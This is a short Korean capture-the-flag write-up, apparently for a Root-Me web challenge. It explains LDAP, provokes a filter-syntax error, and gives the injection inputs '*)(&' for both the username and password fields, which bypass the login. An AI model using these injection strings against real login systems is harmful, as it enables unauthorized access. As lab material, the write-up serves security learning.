로그인 페이지가 나온다.
로그인에 필요한 정보 조회를 LDAP로 하는 것처럼 보인다.
먼저 LDAP가 무엇인지 확인해보자
DAP란 X.500에서 사용하는 디렉토리 서비스 검색 프로토콜인데
이 DAP를 경량화 한 것이 LDAP(Lightweight DAP
)이다.
https://en.wikipedia.org/wiki/Directory_service
디렉토리 서비스란, 네트워크를 통해 컴퓨터 자원에 접근할 수 있게 해주는 응용소프트웨어 이다.
LDAP로 조회할 때 자체적인 명령어를 사용하게 되고, SQL과 비슷한 쓰임새로 이해하면 되겠다.
)
를 입력하여 오류를 발생시켜본다.
Warning: ldap_search(): Search: Bad search filter in /challenge/web-serveur/ch25/index.php on line 70
ERROR : Invalid LDAP syntax : (&(uid=))(userPassword=))
사용되는 구문을 확인할 수 있었다.
권한을 얻도록 하는 인젝션 쿼리는 다양하게 있는데
https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf
문서를 참조하여 인젝션을 시도하면 된다.
id =
*)(&
password =*)(&
&
는 참을 나타내므로, 모든 값을 조회하는 것이다.
완성된 쿼리는 다음과 같다
(&(uid=*)(&))(userPassword=*)(&))
로그인에 성공하면, 비밀번호가 출력되고 문제인증에 사용할 수 있다.